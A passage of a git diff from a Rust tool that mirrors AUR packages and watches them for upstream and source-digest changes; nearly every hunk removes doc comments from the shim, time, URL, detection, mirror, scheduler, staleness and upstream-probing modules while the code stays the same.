pacman's repo-add accepts — and therefore the ones this -/// shim must accept, and no others. A shim more permissive than the tool it -/// stands in for is worse than no shim: the pipeline used to render its database -/// to `.tar.gz.tmp`, real repo-add rejects that as a usage error, and every -/// publish test passed because the shim would write anywhere. Measured against -/// `repo-add (pacman) 7.1.0`: the `.db.tar` forms with or without a compression -/// suffix, and nothing else. pub const DB_SUFFIXES: [&str; 5] = [ ".db.tar", ".db.tar.gz", @@ -542,7 +476,6 @@ pub const DB_SUFFIXES: [&str; 5] = [ ".db.tar.xz", ]; -/// Whether repo-add would accept this path as its database argument. pub fn valid_db_arg(p: &Path) -> bool { let name = p .file_name() @@ -555,8 +488,6 @@ pub fn valid_db_arg(p: &Path) -> bool { } pub fn repo_add(args: &[String], _m: &Manifest) -> Result { - // `-p ` and friends take a value; a naive filter would treat the key id - // as a package path. let mut positional: Vec<&String> = Vec::new(); let mut skip = false; for a in args { @@ -577,8 +508,6 @@ pub fn repo_add(args: &[String], _m: &Manifest) -> Result { None => return Err("repo-add: no database given".into()), }; if !valid_db_arg(&db_path) { - // Same wording and same exit status as the real tool, so a caller that - // learns to branch on one learns to branch on the other. eprintln!( "==> ERROR: '{}' does not have a valid database archive extension.", db_path.display() @@ -617,7 +546,6 @@ pub fn repo_add(args: &[String], _m: &Manifest) -> Result { .map_err(|e| e.to_string())?; } let tar = ar.into_inner().map_err(|e| e.to_string())?; - // pacman databases are gzip'd tarballs. let mut enc = flate2::write::GzEncoder::new( std::fs::File::create(&db_path).map_err(|e| e.to_string())?, flate2::Compression::default(), @@ -629,11 +557,6 @@ pub fn repo_add(args: &[String], _m: &Manifest) -> Result { Ok(0) } -/// Pull `.PKGINFO` out of a `.pkg.tar.zst` and render the `DESC` fields a pacman -/// database carries beyond the fixed ones. Both halves come from -/// `crate::pkginfo`, the parser the production pipeline uses — two parsers that -/// can drift is a supply-chain-shaped foot-gun in a system whose whole job is -/// provenance (§6 M-4). fn pkginfo_fields(pkg_bytes: &[u8]) -> Result<(String, String, String, String), String> { let text = crate::pkginfo::pkginfo_text(pkg_bytes)?; let info = crate::pkginfo::parse_pkginfo(&text); @@ -658,8 +581,6 @@ fn pkginfo_fields(pkg_bytes: &[u8]) -> Result<(String, String, String, String), Ok((info.name, info.version, info.arch, extra)) } -/// `gpg --detach-sign --output `: write a deterministic stand-in -/// signature so the signing path is exercised end to end. pub fn gpg(args: &[String]) -> Result { let out = args .iter() diff --git a/src/time.rs b/src/time.rs index b5f077e..8460f20 100644 --- a/src/time.rs +++ b/src/time.rs @@ -1,6 +1,5 @@ use chrono::{DateTime, SecondsFormat, TimeZone, Utc}; -/// Current time as a canonical DB timestamp: `2026-11-17T20:43:24Z`. pub fn now() -> String { match pinned() { Some(pinned) => pinned, @@ -8,10 +7,6 @@ pub fn now() -> String { } } -/// The instant relative arithmetic should use, which is what makes `secs_ago` -/// and `secs_ahead` honest under a pinned clock (§6 m-1): a pinned test asking -/// for a 90-second lease means 90 seconds after *the pinned instant*, not after -/// the real one. fn base() -> DateTime { match pinned().and_then(|p| parse(&p)) { Some(t) => t, @@ -31,7 +26,6 @@ thread_local! { static CLOCK: std::cell::RefCell> = const { std::cell::RefCell::new(None) }; } -/// Pin the clock for the current thread (tests only). Returns the previous value. pub fn pin(ts: &str) -> Option { CLOCK.with(|c| { let mut slot = c.borrow_mut(); @@ -58,7 +52,6 @@ pub fn delta_secs(a: &str, b: &str) -> Option { Some(parse(b)?.signed_duration_since(parse(a)?).num_seconds()) } -/// A timestamp `secs` from [`base`], canonical format. pub fn secs_ago(secs: i64) -> String { fmt(base() - chrono::Duration::seconds(secs)) } diff --git a/src/urlutil.rs b/src/urlutil.rs index 51def16..0452ccd 100644 --- a/src/urlutil.rs +++ b/src/urlutil.rs @@ -1,25 +1,14 @@ use std::collections::BTreeSet; -/// The host of one `source=()` entry, or `None` when it names no host — a local -/// file, a relative path, or a `file://` URL. -/// -/// Handles the `custom::` and `git+`/`svn+`/`npm+` prefixes a PKGBUILD puts before a -/// URL. pub fn host_of(source: &str) -> Option { let s = source.rsplit("::").next().unwrap_or(source); let s = s.rsplit('+').next().unwrap_or(s); let rest = s.split("://").nth(1)?; let host = rest.split('/').next()?; - // `git+ssh://git@github.com/...` names the same place as - // `https://github.com/...`; leaving the user in would make a scheme change - // look like a new source host and cry wolf at a reviewer. let host = host.rsplit('@').next().unwrap_or(host); (!host.is_empty()).then(|| host.to_string()) } -/// The distinct hosts a `source=()` array names, sorted. A host appearing here -/// that was not in the accepted release's list is a new place the build fetches -/// code from (§5.3, §6). pub fn hosts(sources: &[String]) -> BTreeSet { sources.iter().map(|s| s.as_str()).filter_map(host_of).collect() } diff --git a/src/watch/detect.rs b/src/watch/detect.rs index de1285e..800c157 100644 --- a/src/watch/detect.rs +++ b/src/watch/detect.rs @@ -8,28 +8,16 @@ use crate::time; use crate::watch::digests::resolve_sources; use crate::watch::mirror::{read_tree, sync_mirror, Sync}; -/// What one check of one pkgbase resulted in. -/// -/// Four variants mirror [`Upsert`] deliberately (n-2): `Upsert` answers the storage -/// question, `Outcome` the watcher's. `outcome_of` is the only place that knows both. #[derive(Debug, Clone)] pub enum Outcome { NoChange, - /// The subscription is paused: we look at nothing and change nothing. Paused, - /// A new review was opened. Candidate { id: i64, kind: String }, - /// The open review was updated in place (I7). Collapsed { id: i64, revision: i64 }, - /// The seen-but-unresolved review was frozen and a new one opened. Superseded { old: i64, new: i64 }, - /// Identical to something a human already rejected. PreviouslyRejected, - /// Something changed but nothing is publishable (I11). Notice { kind: String, detail: serde_json::Value }, - /// The package vanished from AUR. Gone, - /// Detection could not complete; the watcher will back off. Blocked(String), } @@ -40,12 +28,9 @@ pub struct CheckReport { pub outcome: Outcome, } -/// One full detection pass for a subscribed pkgbase. pub fn check_pkgbase(cfg: &Config, db: &Db, name: &str) -> Result { let pb = get_pkgbase(db, name)? .ok_or_else(|| crate::error::Error::not_found(format!("pkgbase {name}")))?; - // A paused subscription is not observed at all: pausing must not keep opening - // reviews nobody will act on, nor keep polling AUR. let sub = db::get_subscription(db, name)?;; let paused = sub.as_ref().map(|s| s.state == SubscriptionState::Paused).unwrap_or(false); if paused { @@ -64,8 +49,6 @@ pub fn check_pkgbase(cfg: &Config, db: &Db, name: &str) -> Result { db::set_subscription_state(&db.writer, name, SubscriptionState::Orphaned)?; return Ok(CheckReport { pkgbase: name.into(), head: String::new(), outcome: Outcome::Gone }); } - // The cheap poll saved a fetch, but we still have to look: a source can - // change its bytes without the recipe moving (§5.3). Sync::Unchanged { head } => head.clone(), Sync::Fetched { head, .. } | Sync::Cloned { head } => head.clone(), }; @@ -74,24 +57,16 @@ pub fn check_pkgbase(cfg: &Config, db: &Db, name: &str) -> Result { r } -/// When to look at this pkgbase again: its own interval if the subscription -/// carries one, otherwise the global default. The interval is an argument because -/// the caller already read the subscription row (m-11). fn schedule_next(db: &Db, name: &str, poll_interval: Option) { let interval = poll_interval.unwrap_or_else(|| crate::db::setting_i64(db, "poll_interval", 86400)); let next = time::secs_ahead(interval); - // Best-effort: a missed stamp means the scheduler looks again a tick early, - // not that a change goes unnoticed. let _ = db::note_check(&db.writer, name, &next, None); } -/// Everything after the mirror is up to date. fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result { let mirror = cfg.mirror_path(&pb.name); let report = |outcome: Outcome| CheckReport { pkgbase: pb.name.clone(), head: head.to_string(), outcome }; - // §16 mirror divergence: if the accepted pin has vanished from our own - // mirror, hard-fail this pkgbase rather than silently re-pinning. let accepted = crate::review::candidates::accepted_for(db, pb)?; if let Some(a) = &accepted { if !crate::git::has_commit(&mirror, &a.aur_commit) { @@ -113,12 +88,8 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result = accepted.as_ref().map(|a| a.pins()).unwrap_or_default(); - // A recipe with no VCS sources states its own version. let stage_a = if has_vcs { Some(crate::watch::upstream::probe(&recipe, &accepted_pins)?) } else { @@ -129,8 +100,6 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result Result (r.epoch.clone(), r.pkgver.clone(), r.pkgrel.clone(), r.pins.clone()), None => (recipe.epoch.clone(), recipe.pkgver.clone(), recipe.pkgrel.clone(), Vec::new()), @@ -176,13 +143,11 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result Result Option { } } -/// Advisory risk scoring (§6). Best-effort: a scoring failure must never lose a -/// candidate, so this logs rather than propagates. fn score( db: &Db, cfg: &Config, @@ -239,13 +200,10 @@ fn score( if let Ok(a) = crate::review::risk::assess(db, cfg, recipe, digests, accepted) { let _ = crate::review::candidates::set_risk(db, id, &a.level, &a.signals); } - // Record now what would block the build later, using the same rule the plan - // step uses, so a reviewer sees it before approving (§10.4). let missing = missing_deps(db, pb, recipe); let _ = crate::review::candidates::set_missing_deps(db, id, &missing); } -/// Dependencies that are ours to publish but are not in the index yet. fn missing_deps(db: &Db, pb: &Pkgbase, recipe: &Recipe) -> Vec { let ours = match db::our_package_names(db) { Ok(o) => o, @@ -278,8 +236,6 @@ fn outcome_of(up: Upsert) -> Outcome { } } -/// The version string did not move, so there is no review to open — but the change -/// is recorded, because a silently drifting tarball must not be invisible (§5.3). fn non_publishable( db: &Db, pb: &Pkgbase, @@ -289,9 +245,6 @@ fn non_publishable( ) -> Result { let old_digests: Vec = base.digests(); let new_digests: Vec = serde_json::from_str(&nc.source_digests_json).unwrap_or_default(); - // A local source is part of the recipe: when its bytes move, that *is* the - // recipe drift. A VCS source's digest is its pin, so upstream moving shows up - // there too, but that is ordinary drift (§5.3). let vcs_indices: std::collections::BTreeSet = recipe .source_entries .iter() @@ -312,9 +265,6 @@ fn non_publishable( let pins_changed = old_pins != new_pins; if digest_changed { - // The single most valuable detection in the system: the artifact in the - // index was built from bytes upstream no longer serves, and the version is - // unchanged. An approval would be useless, so this is an alert. let changed: Vec = changed_remote .iter() .map(|n| { @@ -350,8 +300,6 @@ fn non_publishable( )?; return Ok(Outcome::Notice { kind: notice_kind::PIN_DRIFT.into(), detail: serde_json::json!({}) }); } - // The recipe drifted under a static version: the maintainer probably forgot - // to bump pkgrel, and the user should know. db::put_notice_once( &db.writer, pb.id, diff --git a/src/watch/digests.rs b/src/watch/digests.rs index d3119eb..b95bd6c 100644 --- a/src/watch/digests.rs +++ b/src/watch/digests.rs @@ -4,7 +4,6 @@ use crate::error::Result; use crate::recipe::{declared_sums, is_hex_digest, SKIP}; use crate::watch::mirror::Tree; -/// Resolve the digest of every `source=()` entry. pub fn resolve_sources( cfg: &Config, db: &Db, @@ -23,8 +22,6 @@ pub fn resolve_sources( }; if entry.is_vcs() { - // The resolved commit *is* the digest; captured during Stage B where - // we clone anyway (§5.2), so near-free. let pin = pins.iter().find(|p| p.index == entry.index); let digest = pin .map(|p| p.commit.clone()) @@ -36,10 +33,6 @@ pub fn resolve_sources( kind: entry.vcs.clone().unwrap_or_else(|| "vcs".into()), digest, size: 0, - // Computed from the recipe like every other entry (m-19), not - // hardcoded: for a VCS source the answer is usually - // yes-by-absence, so renderers must ask `is_vcs` before calling - // it a missing checksum. skip_declared: match declared_sums(recipe, entry.index) { Some(d) => d == SKIP || !is_hex_digest(&d), None => true, @@ -61,8 +54,6 @@ pub fn resolve_sources( let d = crate::hash::hex(&bytes); (d, bytes.len() as u64) } - // A "local" file that is not in the tree is the recipe's bug; - // record the absence rather than inventing a digest. None => (String::new(), 0), }; out.push(SourceDigest { @@ -76,9 +67,7 @@ pub fn resolve_sources( continue; } - // Static source. if !skip_declared { - // Trusted-as-declared: makepkg verifies it at build time. out.push(SourceDigest { index: entry.index, url: entry.url.clone(), @@ -90,8 +79,6 @@ pub fn resolve_sources( continue; } - // The paid path: download and stream-hash into the cache, which the - // build then reuses so the bytes are paid for once. let (digest, size) = download_and_cache(cfg, db, &entry.url)?; out.push(SourceDigest { index: entry.index, @@ -105,10 +92,6 @@ pub fn resolve_sources( Ok(out) } -/// Download `url`, hashing as we go, and record it in `source_cache`. -/// -/// This always goes to the network: the point of .5.3 is to notice that the bytes -/// behind a `SKIP` source changed while the version did not. pub fn download_and_cache(cfg: &Config, db: &Db, url: &str) -> Result<(String, u64)> { let tmp = cfg.source_cache_dir().join(format!("tmp-{}", crate::hash::short(url.as_bytes(), 16))); let (digest, size) = crate::fetch::fetch_to(url, &tmp)?; @@ -126,8 +109,6 @@ pub fn download_and_cache(cfg: &Config, db: &Db, url: &str) -> Result<(String, u Ok((digest, size)) } -/// The cached file holding `digest`, if we still have it. The build uses this -/// so the bytes it consumes are the bytes that were hashed at detection time. pub fn cached_path(db: &Db, url: &str, digest: &str) -> Option { db::source_cache_path(db, url, digest) .ok() diff --git a/src/watch/mirror.rs b/src/watch/mirror.rs index b6f9c47..89c175d 100644 --- a/src/watch/mirror.rs +++ b/src/watch/mirror.rs @@ -6,21 +6,14 @@ use crate::db::{self, Db}; use crate::error::{Error, Result}; use crate::git; -/// Result of a cheap poll. `Unchanged` means we did **not** fetch — the poll is -/// `git ls-remote`, one request per pkgbase (§5.1). #[derive(Debug, Clone, PartialEq, Eq)] pub enum Sync { - /// Remote is gone (deleted from AUR). Gone, - /// `ls-remote` matched the local tip; no fetch performed. Unchanged { head: String }, - /// The tip moved; we fetched and now have `head`. Fetched { head: String, previous: Option }, - /// We had no local mirror yet. Cloned { head: String }, } -/// Ensure a mirror exists and is polled. Updates `pkgbase.aur_head`. pub fn sync_mirror(cfg: &Config, db: &Db, name: &str, url: &str) -> Result { let mirror = cfg.mirror_path(name); let known_head = db::get_pkgbase(db, name)?.and_then(|p| p.aur_head.clone()); @@ -52,15 +45,9 @@ fn record(db: &Db, name: &str, head: &str, mirror: &Path) -> Result<()> { db::set_aur_head(&db.writer, pb.id, head, &mirror.display().to_string()) } -/// A materialized snapshot tree: blob ids for hashing, text bodies for parsing -/// and diffing. #[derive(Debug, Clone)] pub struct Tree { - /// `(path, git blob id)` for every file in the tree — the input to - /// `recipe_hash`, which covers shipped patches too (§3). pub blobs: Vec<(String, String)>, - /// Text bodies, keyed by path. Binary files are omitted here but still - /// counted in `blobs`. pub files: BTreeMap, } @@ -79,10 +66,7 @@ impl Tree { } } -/// Read a commit's tree out of the mirror without touching the network. pub fn read_tree(mirror: &Path, commit: &str) -> Result { - // §16 mirror divergence: if a pin we are asked to read has vanished, that is - // a hard failure, not a silent re-pin. if !git::has_commit(mirror, commit) { return Err(Error::fail_closed(format!( "commit {commit} is missing from the local mirror; history was rewritten" @@ -104,8 +88,6 @@ fn looks_textual(b: &[u8]) -> bool { !b[..b.len().min(512)].contains(&0) } -/// Raw bytes of one file at a commit — used to hash sources shipped in the AUR -/// repo (§5.3 "local file shipped in the AUR repo"). pub fn read_file(mirror: &Path, commit: &str, path: &str) -> Result> { git::read_blob(mirror, commit, path) } diff --git a/src/watch/scheduler.rs b/src/watch/scheduler.rs index 837a51a..eb79db0 100644 --- a/src/watch/scheduler.rs +++ b/src/watch/scheduler.rs @@ -6,7 +6,6 @@ use crate::config::Config; use crate::db::{self, Db}; use crate::watch::detect::check_pkgbase; -/// Spawn the watcher tick thread. pub fn spawn_scheduler(cfg: Arc, db: Db, stop: Arc) -> JoinHandle<()> { std::thread::Builder::new() .name("watcher".into()) @@ -14,7 +13,6 @@ pub fn spawn_scheduler(cfg: Arc, db: Db, stop: Arc) -> JoinH while !stop.load(Ordering::SeqCst) { let tick = crate::db::setting_i64(&db, "poll_tick", 30); sweep(&cfg, &db); - // Sleep in small slices so shutdown is prompt. let mut slept = 0; while slept < tick && !stop.load(Ordering::SeqCst) { std::thread::sleep(std::time::Duration::from_secs(1)); @@ -25,7 +23,6 @@ pub fn spawn_scheduler(cfg: Arc, db: Db, stop: Arc) -> JoinH .expect("spawn watcher") } -/// One sweep over everything that is due. pub fn sweep(cfg: &Config, db: &Db) -> usize { let now = crate::time::now(); let due = match db::due_subscriptions(db, &now) { diff --git a/src/watch/staleness.rs b/src/watch/staleness.rs index 2631769..4e171a1 100644 --- a/src/watch/staleness.rs +++ b/src/watch/staleness.rs @@ -3,26 +3,19 @@ use crate::error::Result; #[derive(Debug, Clone, PartialEq, Eq)] pub enum Kind { - /// A dependency we publish has moved on. Outdated, - /// A dependency we publish has disappeared from the index. Missing, } #[derive(Debug, Clone)] pub struct Stale { pub kind: Kind, - /// The pkgbase that would need rebuilding. pub pkgbase: String, - /// The dependency, or the pkgbase itself for `Missing`. pub dependency: String, - /// Version it was built against. pub built_with: String, - /// Version the index serves now (empty when missing). pub now: String, } -/// Every stale package, derived from world snapshots against the live index. pub fn stale_rows(db: &Db) -> Result> { let rows = db::published_world_members(db)?; @@ -30,7 +23,6 @@ pub fn stale_rows(db: &Db) -> Result> { for (pkgbase, members_json) in rows { let members: Vec = serde_json::from_str(&members_json).unwrap_or_default(); for m in members { - // A package is not stale relative to itself. if m.pkgbase == pkgbase { continue; } @@ -57,15 +49,10 @@ pub fn stale_rows(db: &Db) -> Result> { Ok(out) } -/// Staleness for one pkgbase, rendered for the package page. pub fn stale_for(db: &Db, pkgbase: &str) -> Result> { Ok(stale_rows(db)?.into_iter().filter(|s| s.pkgbase == pkgbase).collect()) } -/// AUR now offers a **lower** version than we serve (§10.2). This is not a build -/// request; it is an announcement that the mirror and upstream have disagreed. -/// -/// Derived on read, so it disappears the moment either side moves. pub fn downgrades(db: &Db) -> Result> { let rows = db::served_vs_offered_pkgvers(db)?; let mut out = Vec::new(); @@ -84,18 +71,12 @@ pub fn downgrades(db: &Db) -> Result> { Ok(out) } -/// "If I approve this, what goes stale?" — the dependents question (§10.3). -/// A package depends on `name` if `name` appears in its recorded world or in -/// its recipe dependencies. pub fn dependents_of(db: &Db, name: &str) -> Result> { let mut out: Vec = Vec::new(); for (pkgname, json) in db::index_recipes(db)? { if pkgname == name { continue; } - // A recipe we cannot read is not a recipe that does not depend on - // `name`: treat the unreadable as a reason to look, so a malformed - // srcinfo cannot silently hide a dependent package from staleness. let depends = match serde_json::from_str::(&json) { Ok(r) => crate::pkgver::dep_names(&r.depends) .into_iter() diff --git a/src/watch/upstream.rs b/src/watch/upstream.rs index 507d734..2b89238 100644 --- a/src/watch/upstream.rs +++ b/src/watch/upstream.rs @@ -9,34 +9,24 @@ use crate::db::{self, model::*, Db, Pkgbase}; use crate::error::{Error, Result}; use crate::git; -/// What Stage A found. #[derive(Debug, Clone)] pub struct StageA { - /// One pin per VCS source, in `source=()` order. pub pins: Vec, - /// URLs we could not probe cheaply (svn, hg, or a dead remote). Treated as - /// "assume it moved" — we would rather run Stage B than miss a release. pub unprobed: Vec, - /// True when the tip set differs from the accepted release's pins. pub moved: bool, } impl StageA { - /// Stage B is worth running: something upstream moved, or we cannot prove - /// that nothing did. pub fn needs_stage_b(&self) -> bool { self.moved || !self.unprobed.is_empty() } } -/// Probe every VCS source in the recipe. **Every** one, not just the first: a -/// pkgbase can build from two upstream repos and either can move alone. pub fn probe(recipe: &Recipe, accepted: &[UpstreamPin]) -> Result { let mut pins = Vec::new(); let mut unprobed = Vec::new(); for entry in recipe.source_entries.iter().filter(|e| e.is_vcs()) { let want = if let Some(c) = &entry.commit { - // Pinned to a commit by the recipe itself: it cannot move. pins.push(UpstreamPin { index: entry.index, url: entry.url.clone(), @@ -67,13 +57,9 @@ pub fn probe(recipe: &Recipe, accepted: &[UpstreamPin]) -> Result { branch: entry.branch.clone(), commit: sha, }), - // The remote is gone or the ref vanished: that is movement - // we must not swallow, and Stage B will report it properly. None => unprobed.push(entry.url.clone()), } } - // svn/hg/bzr: no cheap universal probe. Be honest about it and let - // Stage B decide, rather than claiming nothing moved. Some(other) => { unprobed.push(format!("{other}:{}", entry.url)); pins.push(UpstreamPin { @@ -91,15 +77,12 @@ pub fn probe(recipe: &Recipe, accepted: &[UpstreamPin]) -> Result { Ok(StageA { pins, unprobed, moved: now != then }) } -/// What Stage B produced: the authoritative version plus the pins it was -/// computed from. #[derive(Debug, Clone)] pub struct StageB { pub epoch: String, pub pkgver: String, pub pkgrel: String, pub pins: Vec, - /// True when the answer came from the cache instead of a fresh resolution. pub cached: bool, } @@ -108,8 +91,6 @@ impl StageB { crate::pkgver::full_version(&self.epoch, &self.pkgver, &self.pkgrel) } - /// Rebuild an answer from its cache row. The `cached` flag is ours to set: - /// the row says nothing about how this call got its answer (§6 M-6). fn from_cache(row: StageBCacheRow) -> Self { StageB { epoch: row.epoch, @@ -120,7 +101,6 @@ impl StageB { } } - /// The row this answer occupies in `stage_b_cache`. fn as_row(&self) -> StageBCacheRow { StageBCacheRow { epoch: self.epoch.clone(), @@ -131,8 +111,6 @@ impl StageB { } } -/// A process-wide cap on concurrent Stage B resolutions (§5.2). Each one clones -/// repositories and runs a chroot-less makepkg. static RUNNING: AtomicUsize = AtomicUsize::new(0); static SLOT_FREE: Condvar = Condvar::new(); static SLOT_LOCK: Mutex<()> = Mutex::new(()); @@ -140,7 +118,6 @@ static SLOT_LOCK: Mutex<()> = Mutex::new(()); pub struct StageBSlot(()); impl StageBSlot { - /// Take a Stage B slot, blocking until one is free. pub fn acquire(cap: usize) -> Self { let cap = cap.max(1); let guard = SLOT_LOCK.lock().unwrap_or_else(|e| e.into_inner()); @@ -164,10 +141,6 @@ impl Drop for StageBSlot { } } -/// Stage B: resolve the real `pkgver` for a VCS pkgbase. -/// -/// `None` means "there is nothing to resolve" — the recipe has no VCS sources, -/// so the literal `pkgver=` is already the answer. pub fn resolve( cfg: &Config, db: &Db, @@ -181,15 +154,10 @@ pub fn resolve( } let tip_hash = tip_hash(&stage_a.pins); - // Cache hit: same recipe, same upstream tips. Keyed on - // (pkgbase, recipe_hash, upstream_tip) exactly as §5.2 asks. if let Some(hit) = db::stage_b_cache_get(db, pb.id, recipe_hash, &tip_hash)? { return Ok(Some(StageB::from_cache(hit))); } - // Per-pkgbase cooldown: even if the tips moved again, we do not re-resolve the - // same pkgbase more than once per window, so a chatty upstream cannot turn - // detection into a build loop. let cooldown = db::setting_i64(db, "stage_b_cooldown", 86400); if let Some(recent) = db::stage_b_recent(db, pb.id, cooldown)? { return Ok(Some(StageB::from_cache(recent))); @@ -201,7 +169,6 @@ pub fn resolve( Ok(Some(resolved)) } -/// The actual work: warm the clone cache, then ask `makepkg` what it computes. fn run( cfg: &Config, pb: &Pkgbase, @@ -210,8 +177,6 @@ fn run( tip_hash: &str, stage_a: &StageA, ) -> Result { - // Clone reuse: fetch into a persistent bare cache rather than re-cloning a - // multi-gigabyte upstream every day (§5.2). let mut pins = stage_a.pins.clone(); for pin in &mut pins { if pin.commit.is_empty() { @@ -224,8 +189,6 @@ fn run( } else { let _ = git::fetch_and_head(&cache); } - // The clone is here anyway, so confirm the tip locally: that also proves - // the commit we probed actually exists and is reachable. if let Ok(local) = git::head(&cache) { if !local.is_empty() && git::has_commit(&cache, &pin.commit) { pin.branch = pin.branch.clone().or_else(|| default_branch(&cache)); @@ -233,8 +196,6 @@ fn run( } } - // Run `makepkg --vercheck` against the recipe in a scratch directory. The - // real tool clones the sources itself; the shim reports the fixture value. let scratch = scratch_dir(cfg, &pb.name, recipe_hash, tip_hash); let _ = std::fs::remove_dir_all(&scratch); std::fs::create_dir_all(&scratch)?; @@ -277,7 +238,6 @@ fn default_branch(cache: &std::path::Path) -> Option { .filter(|s| !s.is_empty()) } -/// A stable hash of the upstream tip set — the cache key's third component. pub fn tip_hash(pins: &[UpstreamPin]) -> String { let mut v: Vec = pins .iter() -- cgit v1.2.3